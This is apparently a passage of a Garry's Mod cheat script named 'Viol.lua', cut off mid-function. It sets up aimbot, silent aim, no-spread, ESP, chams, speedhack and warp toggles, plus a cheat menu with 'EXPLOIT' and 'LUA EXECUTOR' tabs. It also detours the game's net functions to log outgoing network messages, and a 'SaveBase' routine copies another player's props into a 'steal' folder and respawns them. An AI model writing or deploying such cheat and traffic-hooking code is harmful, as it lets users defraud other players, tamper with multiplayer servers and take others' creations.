require("caca")
local var = {
    friendlist = {
        "STEAM_0:0:781200124" ,
    },

    SkeletonTBL = {
    	{ F = "ValveBiped.Bip01_Head1", B = "ValveBiped.Bip01_Neck1" },
    	{ F = "ValveBiped.Bip01_Neck1", B = "ValveBiped.Bip01_Spine4" },
    	{ F = "ValveBiped.Bip01_Spine4", B = "ValveBiped.Bip01_Spine2" },
    	{ F = "ValveBiped.Bip01_Spine2", B = "ValveBiped.Bip01_Spine1" },
    	{ F = "ValveBiped.Bip01_Spine1", B = "ValveBiped.Bip01_Spine" },
    	{ F = "ValveBiped.Bip01_Spine", B = "ValveBiped.Bip01_Pelvis" },
    	{ F = "ValveBiped.Bip01_Neck1", B = "ValveBiped.Bip01_L_UpperArm" },
    	{ F = "ValveBiped.Bip01_L_UpperArm", B = "ValveBiped.Bip01_L_Forearm" },
    	{ F = "ValveBiped.Bip01_L_Forearm", B = "ValveBiped.Bip01_L_Hand" },
    	{ F = "ValveBiped.Bip01_Neck1", B = "ValveBiped.Bip01_R_UpperArm" },
    	{ F = "ValveBiped.Bip01_R_UpperArm", B = "ValveBiped.Bip01_R_Forearm" },
    	{ F = "ValveBiped.Bip01_R_Forearm", B = "ValveBiped.Bip01_R_Hand" },
    	{ F = "ValveBiped.Bip01_Pelvis", B = "ValveBiped.Bip01_L_Thigh" },
    	{ F = "ValveBiped.Bip01_L_Thigh", B = "ValveBiped.Bip01_L_Calf" },
    	{ F = "ValveBiped.Bip01_L_Calf", B = "ValveBiped.Bip01_L_Foot" },
    	{ F = "ValveBiped.Bip01_L_Foot", B = "ValveBiped.Bip01_L_Toe0" },
    	{ F = "ValveBiped.Bip01_Pelvis", B = "ValveBiped.Bip01_R_Thigh" },
    	{ F = "ValveBiped.Bip01_R_Thigh", B = "ValveBiped.Bip01_R_Calf" },
    	{ F = "ValveBiped.Bip01_R_Calf", B = "ValveBiped.Bip01_R_Foot" },
    	{ F = "ValveBiped.Bip01_R_Foot", B = "ValveBiped.Bip01_R_Toe0" },
    } ,
    
    vieworigin = LocalPlayer():EyePos() ,
    concommand_Add = concommand.Add ,
    hook_Add = hook.Add ,
	tickInterval = engine.TickInterval() ,

    me = LocalPlayer() ,
    fa = LocalPlayer():EyeAngles() ,

    ORIGINALHUDPAINT = GAMEMODE.HUDPaint or function() end ,
    ORIGINALCREATEMOVE = GAMEMODE.CreateMove or function(cmd) end ,
	
	
	centerX = ScrW() / 2 ,
	centerY = ScrH() / 2 ,
    segments = {
        {-5, 0, 5, 0},  
        {0, -5, 0, 5},  
        {-5, 0, -5, -5},
        {5, 0, 5, 5},   
        {0, -5, 5, -5}, 
        {0, 5, -5, 5},
    },
    anglecross = 0 ,
	
	neonColors = {
		{255, 0, 0},
		{0, 255, 0},
		{0, 114, 214},
		{255, 255, 0},
		{255, 0, 255},
		{0, 255, 255}
	} ,
	
	toggleKeyPressed = false ,
	cheatMenu = nil ,
	
	tracerMaterial = Material("sprites/tp_beam001") ,
	bulletImpacts = {} ,
	
    entityColors = {
    ["ent_lootbox_low"] = Color(0, 255, 0, 255),
    ["ent_lootbox_medium"] = Color(0, 183, 255, 255),
    ["ent_lootbox_granade"] = Color(94, 68, 0, 255),
    ["ent_lootbox_weapons"] = Color(255, 0, 0, 255),
	["ent_lootbox_legendary"] = Color(245, 167, 66, 255),
	} ,
	
	togglethird = false ,
	
	Next = 0 ,
	LastCharge = 0 ,
	LastChargeSequence = ded.GetOutSequenceNr() ,
}

function VARhooks(event, func) 
    local str = event 
    var.hook_Add(event, str, func) 
end

-- 		::::    ::::      :::     ::::::::::: 
-- 		+:+:+: :+:+:+   :+: :+:       :+:     
-- 		+:+ +:+:+ +:+  +:+   +:+      +:+     
--		+#+  +:+  +#+ +#++:++#++:     +#+     
--		+#+       +#+ +#+     +#+     +#+     
--		#+#       #+# #+#     #+#     #+#     
--		###       ### ###     ###     ###

local shoteffect = {
    ["$basetexture"] = "custommat/shoteffect/combinemuzzle",
    ["$translucent"] = 1,
}

local weaponparams = {
    ["$basetexture"] = "Models/effects/comball_sphere",
    ["$nodecal"] = 0,
    ["$model"] = 1,
    ["$wireframe"] = 1,
    ["$additive"] = 1,
    ["$nocull"] = 1,
    ["$translucent"] = 1, 
    ["Proxies"] = {
        ["TextureScroll"] = {
            ["texturescrollvar"] = "$basetexturetransform",
            ["texturescrollrate"] = 0.5,
            ["texturescrollangle"] = 0,
        },
    }
}
local selfillum = {
    ["$basetexture"] = "vgui/white_additive",
    ["$bumpmap"] = "vgui/white_additive",
    ["$model"] = "1",
    ["$nocull"] = "0",
    ["$selfillum"] = 1,
    ["$selfIllumFresnel"] = 1,
    ["$selfIllumFresnelMinMaxExp"] = "[0.0 0.3 0.6]",
    ["$selfillumtint"] = "[0 0 0]",
}

local Glow = CreateMaterial(CurTime() + 231, "VertexLitGeneric", weaponparams)
local Glow2 = CreateMaterial("selfillum", "VertexLitGeneric", selfillum)
local shoteffects = CreateMaterial(CurTime() + 2, "VertexLitGeneric", shoteffect)
local Velvet = Material("custommat/velvet/velvet2")
local Metal = Material("models/inventory_items/trophy_majors/crystal_blue")

material = "nayl"

local function change_material(materialType, args)
    if #args < 1 then
        print("Usage: " .. materialType .. " <material_name>")
        return
    end

    local materialName = args[1]:lower()

    local validMaterials = { "glow", "metal", "velvet", "nayl" }

    if table.HasValue(validMaterials, materialName) then
        _G[materialType] = materialName
		material = materialName
    else
        print("Unknown material: " .. materialName)
    end
end

var.concommand_Add("material", function(ply, cmd, args)
    change_material("chams_material", args)
end)

local function camignorez(bool)
    render.DepthRange( 0,bool and  0.8  or 1 ) 
end

local function GetColorForMaterial(i)
    if material == "nayl" then
        return var.neonColors[(i - 1) % #var.neonColors + 1]
    else
        return {117, 0, 171}
    end
end

local function IsOutOfFOV( ent )
    if true then
        if LocalPlayer():GetObserverMode() == 0 then
            local Width = ent:BoundingRadius()
            local Disp = ent:GetPos() -LocalPlayer():GetShootPos()
            local Dist = Disp:Length()
            local MaxCos = math.abs( math.cos( math.acos( Dist /math.sqrt( Dist *Dist +Width *Width ) ) +56 *( math.pi /180 ) ) )
            Disp:Normalize()
            local dot = Disp:Dot( LocalPlayer():EyeAngles():Forward() )
            return dot <MaxCos
        end
    end
end

local function validation(x)
    return IsValid(x) and x:Alive() and x ~= LocalPlayer() and x:Team() ~= TEAM_SPECTATOR and team.GetName(x:Team()) ~= "Spectator" and x:GetObserverMode() == 0
end

surface.CreateFont("TheDefaultSettings1", {
    font = "HudDefault",
    size = 38,
    weight = 9999,
    bold = true,
})

local function TimeToTick(Time)
    return math.floor(0.5 + (Time / TICK_INTERVAL))
end


--		 :::       :::     :::     ::::::::::: :::::::::: :::::::::  ::::    ::::      :::     :::::::::  :::    ::: 
--		 :+:       :+:   :+: :+:       :+:     :+:        :+:    :+: +:+:+: :+:+:+   :+: :+:   :+:    :+: :+:   :+:  
--		 +:+       +:+  +:+   +:+      +:+     +:+        +:+    +:+ +:+ +:+:+ +:+  +:+   +:+  +:+    +:+ +:+  +:+   
--		 +#+  +:+  +#+ +#++:++#++:     +#+     +#++:++#   +#++:++#:  +#+  +:+  +#+ +#++:++#++: +#++:++#:  +#++:++    
--		 +#+ +#+#+ +#+ +#+     +#+     +#+     +#+        +#+    +#+ +#+       +#+ +#+     +#+ +#+    +#+ +#+  +#+   
--		  #+#+# #+#+#  #+#     #+#     #+#     #+#        #+#    #+# #+#       #+# #+#     #+# #+#    #+# #+#   #+#  
--		   ###   ###   ###     ###     ###     ########## ###    ### ###       ### ###     ### ###    ### ###    ###

surface.CreateFont("XX", {font = "Verdana", size = 12, antialias = false, outline = true})
local watermark = vgui.Create("DPanel")
watermark:SetSize(0, 22)
watermark:SetPos(ScrW() - 550, 10)
watermark:SizeTo(350, 22, 1, 0, 2, function() end)

local function RotatePoint(centerX, centerY, x, y, angle)
	local cosA = math.cos(math.rad(angle))
	local sinA = math.sin(math.rad(angle))
	return centerX + (x * cosA - y * sinA), centerY + (x * sinA + y * cosA)
end

watermark.Paint = function(self, w, h)
	draw.RoundedBox(15, 0, 0, w, h, Color(0, 0, 0))
	centerX = 10
	centerY = h / 2
	var.anglecross = var.anglecross + FrameTime() * 50
	i = 0
	for i, seg in ipairs(var.segments) do
		color = GetColorForMaterial(i)
		surface.SetDrawColor(color[1], color[2], color[3])

		local x1, y1 = RotatePoint(centerX, centerY, seg[1], seg[2], var.anglecross)
		local x2, y2 = RotatePoint(centerX, centerY, seg[3], seg[4], var.anglecross)

		surface.DrawLine(x1, y1, x2, y2)
	end

	local text = "Viol.lua | FPS: " .. math.Round(1 / FrameTime(), 0) ..
		" | Ping: " .. math.Round(LocalPlayer():Ping(), 2) ..
		" | Tickrate: " .. string.format("%.2f", 1 / engine.TickInterval())

	local textX = w / 2
	local textY = h / 2
	local offsetX = -string.len(text) * 6 / 2

	for i = 1, #text do
		local char = string.sub(text, i, i)
		color = GetColorForMaterial(i)
		
		draw.SimpleTextOutlined(
			char,
			"XX",
			textX + offsetX + (i - 1) * 6,
			textY,
			Color(color[1], color[2], color[3]),
			TEXT_ALIGN_CENTER,
			TEXT_ALIGN_CENTER,
			0.2,
			Color(0, 0, 0)
		)
	end
end

watermark.Think = function(self)
	self:SetPos(ScrW() - self:GetWide() - 10, 10)
end

--		 :::     :::     :::     :::::::::  :::::::::::     :::     :::::::::  :::        :::::::::: 
--		 :+:     :+:   :+: :+:   :+:    :+:     :+:       :+: :+:   :+:    :+: :+:        :+:        
--		 +:+     +:+  +:+   +:+  +:+    +:+     +:+      +:+   +:+  +:+    +:+ +:+        +:+        
--		 +#+     +:+ +#++:++#++: +#++:++#:      +#+     +#++:++#++: +#++:++#+  +#+        +#++:++#   
--		  +#+   +#+  +#+     +#+ +#+    +#+     +#+     +#+     +#+ +#+    +#+ +#+        +#+        
--		   #+#+#+#   #+#     #+# #+#    #+#     #+#     #+#     #+# #+#    #+# #+#        #+#        
--		     ###     ###     ### ###    ### ########### ###     ### #########  ########## ##########

local ftg = {}
ftg.vars = {}

ftg.vars["VIOL_AIMBOT"] = true
ftg.vars["VIOL_SILENT"] = true
ftg.vars["VIOL_NOSPREAD"] = true
ftg.vars["VIOL_AUTOFIRE"] = false
ftg.vars["VIOL_RAPIDFIRE"] = false
ftg.vars["VIOL_DT"] = false

ftg.vars["VIOL_ESP"] = true
ftg.vars["VIOL_CHAMS"] = false
ftg.vars["VIOL_PROPSCHAMS"] = false
ftg.vars["VIOL_WEAPONCHAMS"] = true
ftg.vars["VIOL_SKYBOX"] = false
ftg.vars["VIOL_BULLETTRACER"] = true
ftg.vars["VIOL_FOV"] = true

ftg.vars["VIOL_BHOP"] = true
ftg.vars["VIOL_FASTWALK"] = false
ftg.vars["VIOL_AIRSTUCK"] = false
ftg.vars["VIOL_WARP"] = false
ftg.vars["VIOL_SPEEDHACK"] = false


freecamAngles = Angle()
freecamAngles2 = Angle()
freecamPos = Vector()
freecamEnabled = false
freecamSpeed = 3
keyPressed = false

--		 :::::::::: :::::::::  :::::::::: ::::::::::  ::::::::      :::     ::::    ::::  
--		 :+:        :+:    :+: :+:        :+:        :+:    :+:   :+: :+:   +:+:+: :+:+:+ 
--		 +:+        +:+    +:+ +:+        +:+        +:+         +:+   +:+  +:+ +:+:+ +:+ 
--		 :#::+::#   +#++:++#:  +#++:++#   +#++:++#   +#+        +#++:++#++: +#+  +:+  +#+ 
--		 +#+        +#+    +#+ +#+        +#+        +#+        +#+     +#+ +#+       +#+ 
--		 #+#        #+#    #+# #+#        #+#        #+#    #+# #+#     #+# #+#       #+# 
--		 ###        ###    ### ########## ##########  ########  ###     ### ###       ###

hook.Add("CreateMove","Freecam", function(ucmd)
    if(freecamEnabled) then
        ucmd:SetSideMove(0)
        ucmd:SetForwardMove(0)
        ucmd:SetViewAngles(freecamAngles2)
        ucmd:RemoveKey(IN_JUMP)
        ucmd:RemoveKey(IN_DUCK)
        
        freecamAngles = (freecamAngles + Angle(ucmd:GetMouseY() * .023, ucmd:GetMouseX() * -.023, 0));
        freecamAngles.p, freecamAngles.y, freecamAngles.x = math.Clamp(freecamAngles.p, -89, 89), math.NormalizeAngle(freecamAngles.y), math.NormalizeAngle(freecamAngles.x);
 
        local curFreecamSpeed = freecamSpeed
        if(input.IsKeyDown(KEY_LSHIFT)) then
            curFreecamSpeed = freecamSpeed * 2
        end
 
        if(input.IsKeyDown(KEY_Z)) then
            freecamPos = freecamPos + (freecamAngles:Forward() * curFreecamSpeed)
        end
        if(input.IsKeyDown(KEY_S)) then
            freecamPos = freecamPos - (freecamAngles:Forward() * curFreecamSpeed)
        end
        if(input.IsKeyDown(KEY_Q)) then
            freecamPos = freecamPos - (freecamAngles:Right() * curFreecamSpeed)
        end
        if(input.IsKeyDown(KEY_D)) then
            freecamPos = freecamPos + (freecamAngles:Right() * curFreecamSpeed)
        end
    end
end)

--		 ::::    ::::  :::::::::: ::::    ::: :::    ::: 
--		 +:+:+: :+:+:+ :+:        :+:+:   :+: :+:    :+: 
--		 +:+ +:+:+ +:+ +:+        :+:+:+  +:+ +:+    +:+ 
--		 +#+  +:+  +#+ +#++:++#   +#+ +:+ +#+ +#+    +:+ 
--		 +#+       +#+ +#+        +#+  +#+#+# +#+    +#+ 
--		 #+#       #+# #+#        #+#   #+#+# #+#    #+# 
--		 ###       ### ########## ###    ####  ########

local function CreateCustomCheckbox(parent, x, y, text, varName, onChange)
    local panel = vgui.Create("DPanel", parent)
    panel:SetSize(200, 30)
    panel:SetPos(x, y)
    panel.state = ftg.vars[varName] or false
    panel.sliderPos = panel.state and 1 or 0

    panel.Paint = function(self, w, h)
        draw.SimpleText(text, "DermaDefaultBold", 50, h / 2, Color(255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)

        local bgColor = self.state and Color(80, 200, 120) or Color(200, 80, 80)
        draw.RoundedBox(16, 10, 5, 30, 20, bgColor)

        self.sliderPos = Lerp(FrameTime() * 10, self.sliderPos, self.state and 1 or 0)

        local circleX = 12 + (self.sliderPos * 11)
        draw.RoundedBox(16, circleX, 7, 16, 16, Color(255, 255, 255))
    end

    panel.OnMousePressed = function(self)
        self.state = not self.state
        ftg.vars[varName] = self.state
        if onChange then onChange(self.state) end
    end

    return panel
end

local function CreateCustomColorPicker(parent, x, y, defaultColor, onChange)
    local panel = vgui.Create("DPanel", parent)
    panel:SetSize(300, 200)
    panel:SetPos(x, y)
    panel.currentColor = defaultColor or Color(255, 255, 255)

    panel.Paint = function(self, w, h)
        draw.RoundedBox(8, 0, 0, w, h, Color(50, 50, 50)) -- Fond
        draw.SimpleText("Color Picker", "DermaDefaultBold", 10, 10, Color(255, 255, 255), TEXT_ALIGN_LEFT)

        draw.RoundedBox(8, w - 40, 5, 30, 30, self.currentColor)
    end

    local colorMixer = vgui.Create("DColorMixer", panel)
    colorMixer:SetSize(280, 150)
    colorMixer:SetPos(10, 40)
    colorMixer:SetPalette(false)
    colorMixer:SetAlphaBar(true)
    colorMixer:SetWangs(true)
    colorMixer:SetColor(panel.currentColor)

    colorMixer.ValueChanged = function(_, color)
        panel.currentColor = color
        if onChange then onChange(color) end
    end

    return panel
end

local function SaveBase(selectedPlayer, fileName)
    local ply = var.me
    local plyPos = ply:GetPos()

    local propsInfo = {}
    local constraintsInfo = {}

    local headEnt = nil

    for _, ent in ipairs(ents.GetAll()) do
        if IsValid(ent) and ent:GetClass() == "prop_physics" then
            local pl, num = ent:CPPIGetOwner()
            if pl and pl:SteamID() == selectedPlayer:SteamID() then
                local physicsObj = ent:GetPhysicsObject()
                local pos = ent:GetPos()

                local propData = {
                    ["PhysicsObjects"] = {
                        ["0"] = {
                            ["Frozen"] = IsValid(physicsObj) and not physicsObj:IsMotionEnabled(),
                            ["Pos"] = pos,
                            ["Angle"] = ent:GetAngles()
                        }
                    },
                    ["Class"] = ent:GetClass(),
                    ["Model"] = ent:GetModel(),
                    ["EntityMods"] = {
                        ["colour"] = {
                            ["Color"] = {
                                ["r"] = ent:GetColor().r,
                                ["g"] = ent:GetColor().g,
                                ["a"] = ent:GetColor().a,
                                ["b"] = ent:GetColor().b
                            },
                            ["RenderFX"] = "0.0",
                            ["RenderMode"] = ent:GetRenderMode()
                        },
                        ["material"] = {
                            ["MaterialOverride"] = ent:GetMaterial()
                        }
                    },
                    ["CollisionGroup"] = ent:GetCollisionGroup(),
                    ["OnDieFunctions"] = {
                        ["GetCountUpdate"] = {
                            ["Name"] = "GetCountUpdate",
                            ["Args"] = { ["2"] = "props" }
                        }
                    }
                }

                propsInfo[ent:EntIndex()] = propData

                if not headEnt then
                    headEnt = {
                        ["Pos"] = Vector(0, 0, 0),
                        ["Z"] = ent:OBBCenter().z,
                        ["Index"] = ent:EntIndex()
                    }
                end
            end
        end
    end

    local advdupe2Data = {
        Entities = propsInfo,
        Constraints = constraintsInfo,
        HeadEnt = headEnt or {},
        Description = ""
    }

    local json = util.TableToJSON(advdupe2Data, true)

    local filePath = "advdupe2/steal/" .. fileName .. ".json"
    local baseFileName = fileName
    local counter = 1

    while file.Exists(filePath, "DATA") do
        counter = counter + 1
        filePath = "advdupe2/steal/" .. baseFileName .. "_" .. counter .. ".json"
    end

    file.Write(filePath, json)
    local fileName2 = "steal/" .. baseFileName .. (counter > 1 and "_" .. counter or "") .. ".json"
    RunConsoleCommand("advdupe2_from_json", fileName2)
end

local function OpenFileNameDialog(selectedPlayer)
    local fileDialog = vgui.Create("DFrame")
    fileDialog:SetSize(350, 150)
    fileDialog:Center()
    fileDialog:SetTitle("")
    fileDialog:ShowCloseButton(false)
    fileDialog:SetDraggable(false)
    fileDialog:MakePopup()
    fileDialog.Paint = function(self, w, h)
        draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40))
        draw.SimpleText("Save Base", "DermaDefaultBold", 20, 20, Color(255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
    end

    local closeButton = vgui.Create("DImageButton", fileDialog)
    closeButton:SetPos(320, 5)
    closeButton:SetSize(20, 20)
    closeButton:SetMaterial("icon16/cancel.png")
    closeButton.DoClick = function()
        fileDialog:Close()
    end

    local textEntry = vgui.Create("DTextEntry", fileDialog)
    textEntry:SetPos(20, 50)
    textEntry:SetSize(300, 25)
    textEntry:SetText(selectedPlayer:Nick() .. "_base")
    textEntry:SetEnterAllowed(true)

    local saveButton = vgui.Create("DButton", fileDialog)
    saveButton:SetPos(20, 90)
    saveButton:SetSize(300, 30)
    saveButton:SetText("Save Base")
    saveButton.DoClick = function()
        local fileName = textEntry:GetValue()
        if fileName and fileName ~= "" then
            SaveBase(selectedPlayer, fileName)
			print(selectedPlayer)
            notification.AddLegacy("Base saved as: " .. fileName .. ".json", NOTIFY_HINT, 3)
            surface.PlaySound("buttons/button14.wav")
            fileDialog:Close()
        else
            notification.AddLegacy("Please enter a valid file name!", NOTIFY_ERROR, 3)
        end
    end
end

local netCodes = netCodes or {
    ["SendToServer"] = net.SendToServer,
    ["Start"] = net.Start,
    ["WriteAngle"] = net.WriteAngle,
    ["WriteBool"] = net.WriteBool,
    ["WriteColor"] = net.WriteColor,
    ["WriteData"] = net.WriteData,
    ["WriteDouble"] = net.WriteDouble,
    ["WriteEntity"] = net.WriteEntity,
    ["WriteFloat"] = net.WriteFloat,
    ["WriteInt"] = net.WriteInt,
    ["WriteMatrix"] = net.WriteMatrix,
    ["WriteNormal"] = net.WriteNormal,
    ["WriteString"] = net.WriteString,
    ["WriteTable"] = net.WriteTable,
    ["WriteUInt"] = net.WriteUInt,
    ["WriteVector"] = net.WriteVector
}

local buffer = ""
local lastLog = ""
local originalNetFunctions = {}

local function constructNetBlock(t, netName)
    local logString = "net." .. netName .. "("
    
    for i = 1, #t do
        local value = t[i]
        if type(value) == "number" then
            logString = logString .. value .. (i == #t and "" or ", ")
        elseif type(value) == "boolean" then
            logString = logString .. tostring(value)
        elseif type(value) == "string" then
            logString = logString .. "\"" .. value .. "\"" .. (i == #t and "" or ", ")
        elseif IsEntity(value) then
            logString = logString .. "Entity(" .. tostring(value:EntIndex()) .. ")"
        elseif type(value) == "Vector" then
            logString = logString .. "Vector(" .. string.gsub(tostring(value), "%s+", ", ") .. ")"
        elseif type(value) == "table" then
            logString = logString .. "Table(" .. table.ToString(value) .. ")"
        else
            logString = logString .. "UnhandledType: " .. type(value)
        end
    end
    
    logString = logString .. ")"

    if logString ~= lastLog then
        buffer = buffer .. logString .. "\n"
        lastLog = logString
    end

    if netName == "SendToServer" then
        hook.Run("LoggedNetMessage", buffer)
        buffer = ""
    end
end

local function handleNetMessage(netName)
    return function(...)
        constructNetBlock({...}, netName)
        
        if netCodes[netName] then
            return netCodes[netName](...)
        end
    end
end

function detourNetFunctions(enable)
    for k, v in pairs(netCodes) do
        if enable then
            if not originalNetFunctions[k] then
                originalNetFunctions[k] = net[k]
            end
            net[k] = handleNetMessage(k)
        else
            net[k] = originalNetFunctions[k] or v
        end
    end
end

if not detoured_net_functions then
    detoured_net_functions = true
    detourNetFunctions(true)
end

local function ToggleCheatMenu()
    if IsValid(var.cheatMenu) and var.cheatMenu:IsVisible() then
        var.cheatMenu:MoveTo(ScrW() / 2 - var.cheatMenu:GetWide() / 2, ScrH(), 0.3, 0, 0.3, function()
            var.cheatMenu:SetVisible(false)
			gui.EnableScreenClicker(false)
        end)
        var.cheatMenu:AlphaTo(0, 0.3, 0)
    elseif IsValid(var.cheatMenu) then
        var.cheatMenu:SetPos(ScrW() / 2 - var.cheatMenu:GetWide() / 2, ScrH())
        var.cheatMenu:SetAlpha(0)
        var.cheatMenu:SetVisible(true)
        var.cheatMenu:MakePopup()
        var.cheatMenu:MoveTo(ScrW() / 2 - var.cheatMenu:GetWide() / 2, ScrH() / 2 - var.cheatMenu:GetTall() / 2, 0.3, 0, 0.3)
        var.cheatMenu:AlphaTo(255, 0.3, 0)
    else
        var.cheatMenu = vgui.Create("DFrame")
        var.cheatMenu:SetSize(950, 500)
        var.cheatMenu:SetTitle("")
        var.cheatMenu:ShowCloseButton(false)
        var.cheatMenu:SetDraggable(false)
        var.cheatMenu:SetAlpha(0)
        var.cheatMenu:SetPos(ScrW() / 2 - var.cheatMenu:GetWide() / 2, ScrH())
        var.cheatMenu:SetVisible(true)
		gui.EnableScreenClicker(true)

        var.cheatMenu:MoveTo(ScrW() / 2 - var.cheatMenu:GetWide() / 2, ScrH() / 2 - var.cheatMenu:GetTall() / 2, 0.3, 0, 0.3)
        var.cheatMenu:AlphaTo(255, 0.3, 0)

        var.cheatMenu.Paint = function(self, w, h)
            draw.RoundedBox(6, 0, 0, w, h, Color(30, 30, 30))
            draw.RoundedBox(0, 0, 0, w, 40, Color(50, 50, 50))
            draw.SimpleText("Cheat Menu", "Trebuchet18", 10, 10, Color(255, 255, 255), TEXT_ALIGN_LEFT)
        end

        local categories = {
            {name = "AIMBOT", icon = Material("icon16/bomb.png")},
            {name = "VISUALS", icon = Material("icon16/eye.png")},
            {name = "MOUVEMENT", icon = Material("icon16/arrow_up.png")},
            {name = "EXPLOIT", icon = Material("icon16/bug.png")},
            {name = "LUA EXECUTOR", icon = Material("icon16/script_code.png")},
			{name = "NET LOGGER", icon = Material("icon16/script_code.png")},
        }

        local activeCategory = 1
        local contentPanels = {}
		local hoverCategory = nil
		
        local navBar = vgui.Create("DPanel", var.cheatMenu)
        navBar:SetSize(var.cheatMenu:GetWide(), 40)
        navBar:SetPos(0, 0)
        navBar.Paint = function(self, w, h)
            draw.RoundedBox(0, 0, 0, w, h, Color(50, 50, 50))
        end

        for i, category in ipairs(categories) do
            local btn = vgui.Create("DButton", navBar)
            btn:SetSize(160, 40)
            btn:SetPos((i - 1) * 160, 0)
            btn:SetText("")
			
			btn.lastHoverTime = nil
			
			btn.OnCursorEntered = function(self)
				hoverCategory = i
				self.lastHoverTime = RealTime()
			end
			btn.OnCursorExited = function(self)
				hoverCategory = nil
			end
			
            btn.Paint = function(self, w, h)
                local bgColor = i == activeCategory and Color(70, 70, 70) or Color(50, 50, 50)
                draw.RoundedBox(0, 0, 0, w, h, bgColor)
                surface.SetMaterial(category.icon)
                surface.SetDrawColor(255, 255, 255)
                surface.DrawTexturedRect(10, 10, 20, 20)
                draw.SimpleText(category.name, "Trebuchet18", 40, 10, Color(255, 255, 255), TEXT_ALIGN_LEFT)
				if i == activeCategory then
					draw.RoundedBox(0, 0, h - 2, w, 2, Color(255, 255, 255))
				elseif i == hoverCategory then
					if self.lastHoverTime then
						local alpha = math.Clamp(300 * (RealTime() - self.lastHoverTime), 0, 255)
						draw.RoundedBox(0, 0, h - 2, w, 2, Color(200, 200, 200, alpha))
					end
				end
			end

            btn.DoClick = function()
                if activeCategory ~= i then
                    local oldPanel = contentPanels[activeCategory]
                    local newPanel = contentPanels[i]

                    oldPanel:AlphaTo(0, 0.3, 0, function()
                        oldPanel:SetVisible(false)
                    end)

                    newPanel:SetVisible(true)
                    newPanel:SetAlpha(0)
                    newPanel:AlphaTo(255, 0.3, 0)

                    activeCategory = i
                end
            end
        end

        for i, category in ipairs(categories) do
            local contentPanel = vgui.Create("DPanel", var.cheatMenu)
            contentPanel:SetSize(var.cheatMenu:GetWide(), var.cheatMenu:GetTall() - 40)
            contentPanel:SetPos(0, 40)
            contentPanel:SetVisible(i == activeCategory)
            contentPanel:SetAlpha(i == activeCategory and 255 or 0)
            contentPanel.Paint = function(self, w, h)
                draw.RoundedBox(0, 0, 0, w, h, Color(40, 40, 40))
                draw.SimpleText(category.name .. " Options", "Trebuchet18", 10, 10, Color(255, 255, 255), TEXT_ALIGN_LEFT)
            end

            if category.name == "AIMBOT" then
                CreateCustomCheckbox(contentPanel, 15, 30, "Aimbot", "VIOL_AIMBOT", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 60, "Silent Aim", "VIOL_SILENT", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 90, "PSilent", "VIOL_PSILENT", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 120, "No Spread", "VIOL_NOSPREAD", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 150, "AutoFire", "VIOL_AUTOFIRE", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 180, "RapidFire", "VIOL_RAPIDFIRE", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 210, "Double Tap", "VIOL_DT", function(state)
                end)
            end

            if category.name == "VISUALS" then
                CreateCustomCheckbox(contentPanel, 15, 30, "ESP", "VIOL_ESP", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 60, "Chams", "VIOL_CHAMS", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 90, "Props Chams", "VIOL_PROPSCHAMS", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 120, "Weapon Chams", "VIOL_WEAPONCHAMS", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 150, "Custom SkyBox", "VIOL_SKYBOX", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 180, "Bullet Tracer", "VIOL_BULLETTRACER", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 210, "ThirdPerson", "VIOL_THIRD", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 240, "FOV Changer", "VIOL_FOV", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 270, "4:3", "VIOL_4TIER", function(state)
                    if state then
                        ded.ConVarSetValue("r_aspectratio", "1.3333")
                    else
                        ded.ConVarSetValue("r_aspectratio", "0")
                    end
                end)
            end

if category.name == "MOUVEMENT" then
    -- Créer les cases à cocher pour chaque option
    CreateCustomCheckbox(contentPanel, 15, 30, "Bunnyhop", "VIOL_BHOP", function(state)
    end)
    CreateCustomCheckbox(contentPanel, 15, 60, "Fast Walk", "VIOL_FASTWALK", function(state)
    end)
    CreateCustomCheckbox(contentPanel, 15, 90, "Air Stuck", "VIOL_AIRSTUCK", function(state)
    end)
    CreateCustomCheckbox(contentPanel, 15, 120, "WARP", "VIOL_WARP", function(state)
    end)
    CreateCustomCheckbox(contentPanel, 15, 150, "SPEEDHACK", "VIOL_SPEEDHACK", function(state)
    end)

    -- Ajouter une roue ⚙ spécifique à chaque option
    local function addGearIcon(x, y, title)
        local gearButton = vgui.Create("DButton", contentPanel)
        gearButton:SetPos(x + 200, y)  -- Positionner la roue à côté de chaque option
        gearButton:SetSize(30, 30)
        gearButton:SetText("⚙")  -- Icône de la roue
        gearButton:SetFont("Trebuchet24")
        
        -- Variable pour suivre si le menu des réglages est ouvert
        local settingsMenuOpen = false
        local settingsFrame
        
        function gearButton:DoClick()
            if not settingsMenuOpen then
                -- Ouvrir le menu avec des cases à cocher si il n'est pas déjà ouvert
                settingsMenuOpen = true
                openSettingsMenu(title)
            else
                -- Fermer le menu si il est déjà ouvert
                settingsMenuOpen = false
                if IsValid(settingsFrame) then
                    settingsFrame:Close()
                end
            end
        end
        
        function gearButton:Paint(w, h)
            local v = self:IsDown()
            surface.SetDrawColor(255, 255, 255)  -- Couleur de la roue (icône)
            surface.DrawOutlinedRect(0, 0, w, h)
            if not v and not self:IsHovered() then return end
            if v then
                surface.SetDrawColor(200, 200, 200)  -- Couleur de la roue quand on clique
            else
                surface.SetDrawColor(150, 150, 150)  -- Couleur de la roue quand survolée
            end
            surface.DrawRect(5, 5, w - 10, h - 10)
        end
    end

    -- Fonction pour ouvrir un menu spécifique à chaque option avec des cases à cocher
    function openSettingsMenu(title)
        -- Créer une nouvelle fenêtre pour les réglages spécifiques à l'option
        local settingsFrame = vgui.Create("DFrame")
        settingsFrame:SetSize(300, 150)
        settingsFrame:SetPos(550, 250)
        settingsFrame:SetTitle(title .. " Settings")
        settingsFrame:MakePopup()
        settingsFrame:SetDeleteOnClose(true)

        function settingsFrame:Paint(w, h)
